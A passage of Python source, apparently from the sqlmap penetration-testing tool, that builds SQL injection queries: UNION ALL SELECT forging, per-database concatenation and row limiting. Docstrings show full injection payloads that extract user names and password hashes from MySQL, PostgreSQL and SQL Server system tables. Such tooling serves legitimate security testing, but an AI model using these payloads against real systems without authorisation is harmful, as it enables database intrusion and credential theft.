concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
736
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
737
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
738
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
739
elif fieldsSelect:
740
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
741
concatenatedQuery += "||'%s'" % kb.chars.stop
742
elif fieldsNoSelect:
743
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
744
745
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
746
if fieldsExists:
747
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
748
concatenatedQuery += "+'%s'" % kb.chars.stop
749
elif fieldsSelectTop:
750
topNum = fieldsSelectTop.group(1)
751
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
752
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
753
elif fieldsSelectCase:
754
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
755
concatenatedQuery += "+'%s'" % kb.chars.stop
756
elif fieldsSelectFrom:
757
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
758
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
759
concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
760
elif fieldsSelect:
761
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
762
concatenatedQuery += "+'%s'" % kb.chars.stop
763
elif fieldsNoSelect:
764
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
765
766
elif Backend.isDbms(DBMS.ACCESS):
767
if fieldsExists:
768
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
769
concatenatedQuery += "&'%s'" % kb.chars.stop
770
elif fieldsSelectCase:
771
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
772
concatenatedQuery += ")&'%s'" % kb.chars.stop
773
elif fieldsSelectFrom:
774
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
775
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
776
concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
777
elif fieldsSelect:
778
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
779
concatenatedQuery += "&'%s'" % kb.chars.stop
780
elif fieldsNoSelect:
781
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
782
783
else:
784
warnMsg = "applying generic concatenation (CONCAT)"
785
singleTimeWarnMessage(warnMsg)
786
787
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
788
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
789
if _ != concatenatedQuery:
790
concatenatedQuery = _
791
fieldsSelectFrom = None
792
793
if fieldsExists:
794
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
795
concatenatedQuery += "),'%s')" % kb.chars.stop
796
elif fieldsSelectCase:
797
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
798
concatenatedQuery += "),'%s')" % kb.chars.stop
799
elif fieldsSelectFrom or fieldsSelect:
800
fromTable = ""
801
802
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
803
if _:
804
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
805
806
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
807
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
808
chars = [_ for _ in replacement]
809
810
count = 0
811
for index in zeroDepthSearch(replacement, ',')[1:]:
812
chars[index] = "),"
813
count += 1
814
815
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
816
concatenatedQuery = "%s%s" % (replacement, fromTable)
817
elif fieldsSelect:
818
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
819
concatenatedQuery += "),'%s')" % kb.chars.stop
820
elif fieldsNoSelect:
821
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
822
823
return concatenatedQuery
824
825
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
826
"""
827
Take in input an query (pseudo query) string and return its
828
processed UNION ALL SELECT query.
829
830
Examples:
831
832
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
833
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
834
835
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
836
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
837
838
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
839
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
840
841
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
842
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
843
844
@param query: it is a processed query string unescaped to be
845
forged within an UNION ALL SELECT statement
846
@type query: C{str}
847
848
@param position: it is the NULL position where it is possible
849
to inject the query
850
@type position: C{int}
851
852
@return: UNION ALL SELECT query string forged
853
@rtype: C{str}
854
"""
855
856
if conf.uFrom:
857
fromTable = " FROM %s" % conf.uFrom
858
elif not fromTable:
859
if kb.tableFrom:
860
fromTable = " FROM %s" % kb.tableFrom
861
else:
862
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
863
864
if query.startswith("SELECT "):
865
query = query[len("SELECT "):]
866
867
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
868
869
if limited:
870
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
871
unionQuery += fromTable
872
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
873
874
return unionQuery
875
else:
876
_ = zeroDepthSearch(query, " FROM ")
877
if _:
878
fromTable = query[_[0]:]
879
880
if fromTable and query.endswith(fromTable):
881
query = query[:-len(fromTable)]
882
883
topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I)
884
if topNumRegex:
885
topNum = topNumRegex.group(1)
886
query = query[len("TOP %s " % topNum):]
887
unionQuery += "TOP %s " % topNum
888
889
intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
890
891
if intoFileRegExp:
892
infoFile = intoFileRegExp.group(1)
893
query = query[:query.index(infoFile)]
894
895
position = 0
896
char = NULL
897
else:
898
infoFile = None
899
900
for element in xrange(0, count):
901
if element > 0:
902
unionQuery += ','
903
904
if conf.uValues and conf.uValues.count(',') + 1 == count:
905
unionQuery += conf.uValues.split(',')[element]
906
elif element == position:
907
unionQuery += query
908
else:
909
unionQuery += char
910
911
if conf.uValues:
912
unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query)
913
914
if fromTable and not unionQuery.endswith(fromTable):
915
unionQuery += fromTable
916
917
if infoFile:
918
unionQuery += infoFile
919
920
if multipleUnions:
921
unionQuery += " UNION ALL SELECT "
922
923
for element in xrange(count):
924
if element > 0:
925
unionQuery += ','
926
927
if element == position:
928
unionQuery += multipleUnions
929
else:
930
unionQuery += char
931
932
if fromTable:
933
unionQuery += fromTable
934
935
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
936
937
return unionQuery
938
939
def limitCondition(self, expression, dump=False):
940
startLimit = 0
941
stopLimit = None
942
limitCond = True
943
944
topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I)
945
946
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
947
948
if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"):
949
limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I)
950
else:
951
limitRegExp2 = None
952
953
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
954
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
955
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
956
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
957
958
if limitGroupStart.isdigit():
959
if limitRegExp:
960
startLimit = int(limitRegExp.group(int(limitGroupStart)))
961
stopLimit = limitRegExp.group(int(limitGroupStop))
962
elif limitRegExp2:
963
startLimit = 0
964
stopLimit = limitRegExp2.group(int(limitGroupStart))
965
limitCond = int(stopLimit) > 1
966
967
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
968
if limitRegExp:
969
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
970
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
971
972
if limitGroupStart.isdigit():
973
startLimit = int(limitRegExp.group(int(limitGroupStart)))
974
975
stopLimit = limitRegExp.group(int(limitGroupStop))
976
limitCond = int(stopLimit) > 1
977
elif topLimit:
978
startLimit = 0
979
stopLimit = int(topLimit.group(1))
980
limitCond = int(stopLimit) > 1
981
982
elif Backend.isDbms(DBMS.ORACLE):
983
limitCond = False
984
985
# We assume that only queries NOT containing a "LIMIT #, 1"
986
# (or equivalent depending on the back-end DBMS) can return
987
# multiple entries
988
if limitCond:
989
if (limitRegExp or limitRegExp2) and stopLimit is not None:
990
stopLimit = int(stopLimit)
991
992
# From now on we need only the expression until the " LIMIT "
993
# (or equivalent, depending on the back-end DBMS) word
994
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
995
stopLimit += startLimit
996
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
997
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
998
else:
999
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
1000
expression = expression[:_]
1001
1002
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
1003
stopLimit += startLimit
1004
elif dump:
1005
if conf.limitStart:
1006
startLimit = conf.limitStart - 1
1007
if conf.limitStop:
1008
stopLimit = conf.limitStop
1009
1010
return expression, limitCond, topLimit, startLimit, stopLimit
1011
1012
def limitQuery(self, num, query, field=None, uniqueField=None):
1013
"""
1014
Take in input a query string and return its limited query string.
1015
1016
Example:
1017
1018
Input: SELECT user FROM mysql.users
1019
Output: SELECT user FROM mysql.users LIMIT <num>, 1
1020
1021
@param num: limit number
1022
@type num: C{int}
1023
1024
@param query: query to be processed
1025
@type query: C{str}
1026
1027
@param field: field within the query
1028
@type field: C{list}
1029
1030
@return: limited query string
1031
@rtype: C{str}
1032
"""
1033
1034
if " FROM " not in query:
1035
return query
1036
1037
limitedQuery = query
1038
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
1039
fromIndex = limitedQuery.index(" FROM ")
1040
untilFrom = limitedQuery[:fromIndex]
1041
fromFrom = limitedQuery[fromIndex + 1:]
1042
orderBy = None
1043
1044
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY):
1045
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1046
limitedQuery += " %s" % limitStr
1047
1048
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
1049
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
1050
limitedQuery += " %s" % limitStr
1051
1052
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
1053
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
1054
limitedQuery += " %s" % limitStr
1055
1056
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
1057
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1058
if query.startswith("SELECT "):
1059
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
1060
1061
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
1062
if query.startswith("SELECT ") and field is not None and field in query:
1063
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
1064
for part in original.split(','):
1065
if re.search(r"\b%s\b" % re.escape(field), part):
1066
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
1067
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
1068
limitedQuery = replacement
1069
break
1070
1071
elif Backend.isDbms(DBMS.HSQLDB):
1072
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
1073
if match:
1074
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
1075
limitedQuery += " %s" % match.group(0)
1076
1077
if query.startswith("SELECT "):
1078
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1079
limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1)
1080
else:
1081
limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num)
1082
limitedQuery += " %s" % limitStr
1083
1084
if not match:
1085
match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery)
1086
if match:
1087
orderBy = " ORDER BY %s" % match.group(1)
1088
1089
elif Backend.isDbms(DBMS.CACHE):
1090
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
1091
if match:
1092
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
1093
orderBy = " %s" % match.group(0)
1094
field = match.group(1)
1095
1096
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
1097
1098
elif Backend.isDbms(DBMS.FIREBIRD):
1099
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
1100
limitedQuery += " %s" % limitStr
1101
1102
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
1103
if " ORDER BY " not in limitedQuery:
1104
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
1105
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
1106
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
1107
1108
if query.startswith("SELECT "):
1109
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
1110
limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
1111
else:
1112
limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr)
1113
1114
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
1115
limitedQuery += "=%d" % (num + 1)
1116
1117
elif Backend.isDbms(DBMS.MSSQL):
1118
forgeNotIn = True
1119
1120
if " ORDER BY " in limitedQuery:
1121
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
1122
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
1123
1124
notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
1125
1126
for notDistinct in notDistincts:
1127
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
1128
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
1129
1130
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
1131
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
1132
1133
if topNums:
1134
topNums = topNums.groups()
1135
quantityTopNums = topNums[0]
1136
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
1137
startTopNums = topNums[1]
1138
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
1139
forgeNotIn = False
1140
else:
1141
limitedQuery = re.sub(r"\bTOP\s+\d+\s*", "", limitedQuery, flags=re.I)
1142
1143
if forgeNotIn:
1144
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
1145
1146
if " ORDER BY " not in fromFrom:
1147
# Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
1148
if " WHERE " in limitedQuery:
1149
limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
1150
else:
1151
limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
1152
1153
limitedQuery += "NOT IN (%s" % (limitStr % num)
1154
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
1155
else:
1156
match = re.search(r" ORDER BY (\w+)\Z", query)
1157
field = match.group(1) if match else field
1158
1159
if " WHERE " in limitedQuery:
1160
limitedQuery = "%s AND %s " % (limitedQuery, field)
1161
else:
1162
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
1163
1164
limitedQuery += "NOT IN (%s" % (limitStr % num)
1165
limitedQuery += "%s %s)" % (field, fromFrom)
1166
1167
if orderBy:
1168
limitedQuery += orderBy
1169
1170
return limitedQuery
1171
1172
def forgeQueryOutputLength(self, expression):
1173
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
1174
select = re.search(r"\ASELECT\s+", expression, re.I)
1175
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
1176
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
1177
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
1178
1179
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
1180
1181
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
1182
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
1183
elif selectTopExpr or selectMinMaxExpr:
1184
lengthExpr = lengthQuery % ("(%s)" % expression)
1185
elif select:
1186
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
1187
else:
1188
lengthExpr = lengthQuery % expression
1189
1190
return unescaper.escape(lengthExpr)
1191
1192
def forgeCaseStatement(self, expression):
1193
"""
1194
Take in input a query string and return its CASE statement query
1195
string.
1196
1197
Example:
1198
1199
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
1200
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
1201
1202
@param expression: expression to be processed
1203
@type num: C{str}
1204
1205
@return: processed expression
1206
@rtype: C{str}
1207
"""
1208
1209
caseExpression = expression
1210
1211
if Backend.getIdentifiedDbms() is not None:
1212
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
1213
1214
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
1215
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
1216
1217
return caseExpression
1218
1219
def addPayloadDelimiters(self, value):
1220
"""
1221
Adds payload delimiters around the input string
1222
"""
1223
1224
return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value
1225
1226
def removePayloadDelimiters(self, value):
1227
"""
1228
Removes payload delimiters from inside the input string
1229
"""
1230
1231
return value.replace(PAYLOAD_DELIMITER, "") if value else value
1232
1233
def extractPayload(self, value):
1234
"""
1235
Extracts payload from inside of the input string
1236
"""
1237
1238
_ = re.escape(PAYLOAD_DELIMITER)
1239
return extractRegexResult(r"(?s)%s(?P<result>.*?)%s" % (_, _), value)
1240
1241
def replacePayload(self, value, payload):
1242
"""
1243
Replaces payload inside the input string with a given payload
1244
"""
1245
1246
_ = re.escape(PAYLOAD_DELIMITER)
1247
return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value
1248
1249
def runAsDBMSUser(self, query):
1250
if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query:
1251
query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
1252
1253
return query
1254
1255
def whereQuery(self, query):
1256
if conf.dumpWhere and query:
1257
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
1258
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
1259
else:
1260
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
1261
if match:
1262
suffix = match.group(0)
1263
prefix = query[:-len(suffix)]
1264
else:
1265
prefix, suffix = query, ""
1266
1267
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
1268
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
1269
elif re.search(r"(?i)\bWHERE\b", prefix):
1270
prefix += " AND %s" % conf.dumpWhere
1271
else:
1272
prefix += " WHERE %s" % conf.dumpWhere
1273
1274
query = prefix
1275
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
1276
query += suffix
1277
1278
return query
1279
1280
# SQL agent
1281
agent = Agent()
1282
1283